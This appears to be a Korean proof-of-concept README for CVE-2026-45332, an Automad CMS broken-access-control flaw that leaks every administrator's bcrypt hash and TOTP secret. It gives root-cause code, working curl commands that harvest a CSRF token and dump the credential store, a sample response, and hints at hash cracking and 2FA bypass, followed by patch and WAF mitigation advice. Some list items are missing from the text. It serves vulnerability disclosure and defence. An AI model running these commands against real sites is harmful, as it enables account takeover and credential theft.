
CVE-2026-45332에 대한 개념 증명 익스플로잇으로, Automad CMS의 취약한 접근 제어를 이용해 인증 없이 관리자 bcrypt 해시와 TOTP 비밀을 덤프할 수 있습니다.
CVE-2026-45332에 대한 개념 증명으로, Automad CMS의 끊어진 접근 제어(Broken Access Control) 취약점입니다. 이 취약점은 초기 구성 후에도 비활성화되지 않는 셋업 엔드포인트를 통해 인증되지 않은 모든 공격자가 모든 관리자 계정의 bcrypt 비밀번호 해시와 TOTP 시크릿을 덤프할 수 있게 합니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-45332 |
| GHSA | GHSA-xm76-r88j-vm3g |
| 제품 | Automad CMS (composer automad/automad) |
| 영향 범위 | >= 2.0.0-alpha.1, <= 2.0.0-beta.27 |
| 패치 버전 | 2.0.0-beta.28 |
| CVSS 3.1 | 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-200 (민감 정보 노출), CWE-306 (중요 기능에 대한 인증 누락) |
| 연구자 | Lorenzo Camilli |
Automad는 파일 기반 PHP CMS입니다. 첫 번째 관리자 계정을 생성하는 셋업 엔드포인트 /_api/user-collection/create-first-user는 영구적으로 공개된 API 라우트로 등록됩니다. 초기 구성이 완료된 후에도 이 엔드포인트를 닫는 보호 장치가 없습니다.
운영 중이며 완전히 구성된 인스턴스에서 이 엔드포인트로 인증되지 않은 POST 요청을 보내면 전체 사용자 데이터베이스가 디스크에서 로드되어 직렬화된 상태로 JSON 응답 본문에 포함되어 반환됩니다. 여기에는 다음이 포함됩니다:
2.0.0-beta.27에 존재)사전에 필요한 계정, 자격 증명 또는 특별한 네트워크 위치는 없습니다.
이 라우트는 automad/src/server/Routes.php의 $publicAPIRoutes 배열 안에 배치되며, 문자열 '/dashboard'로 평가되어 항상 참(truthy)이 되는 상수 AM_PAGE_DASHBOARD 조건 하에 등록됩니다. 따라서 이 라우트는 셋업이 완료된 후를 포함하여 모든 설치 환경에서 계속 등록된 상태로 유지됩니다.
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
$UserCollection = new UserCollection(); // loads ALL existing users from disk
// ...
$php = $UserCollection->generatePHP(); // serializes every user including hashes
return $Response->setData(array(
'php' => $php, // credential hashes returned in response
'configDir' => dirname(UserCollection::FILE_ACCOUNTS) // absolute path leaked
));
}
User::__serialize()는 private 필드인 passwordHash와 totpSecret을 포함하므로, 이 값들은 호출자에게 반환되는 직렬화된 출력에 포함됩니다.
전체 기술 문서: PoC.md.
이 엔드포인트는 유효한 CSRF 토큰과 Automad 세션 쿠키를 요구하며, 둘 다 공개 로그인 페이지에서 자유롭게 얻을 수 있습니다. 재현 방법:
# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
| grep -oP '(?<=<meta name="csrf" content=")[^"]+')
# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
--data-urlencode "__csrf__=$CSRF" \
--data-urlencode 'username=dummy' \
--data-urlencode 'password1=AnyPassword1!' \
--data-urlencode 'password2=AnyPassword1!' \
--data-urlencode '[email protected]' | jq .
응답에는 등록된 모든 관리자의 bcrypt 해시와 TOTP 시크릿, 그리고 구성 디렉터리의 절대 경로가 포함됩니다:
{
"code": 200,
"data": {
"php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
"filename": "accounts.php",
"configDir": "/path/to/config"
}
}
그런 다음 bcrypt 해시는 오프라인으로 크랙할 수 있습니다(Hashcat / John). 2.0.0-beta.27에서는 유출된 TOTP 시크릿으로 2단계 인증(2FA)을 완전히 우회할 수 있습니다.
인증되지 않은 원격 공격자는 다음을 수행할 수 있습니다:
2.0.0-beta.27).Automad 2.0.0-beta.28 이상으로 업데이트하십시오. 이 버전에서는 초기 셋업이 완료되면 엔드포인트가 제한됩니다. 임시 완화 조치로, 웹 서버 또는 WAF에서 /_api/user-collection/create-first-user에 대한 요청을 차단하십시오.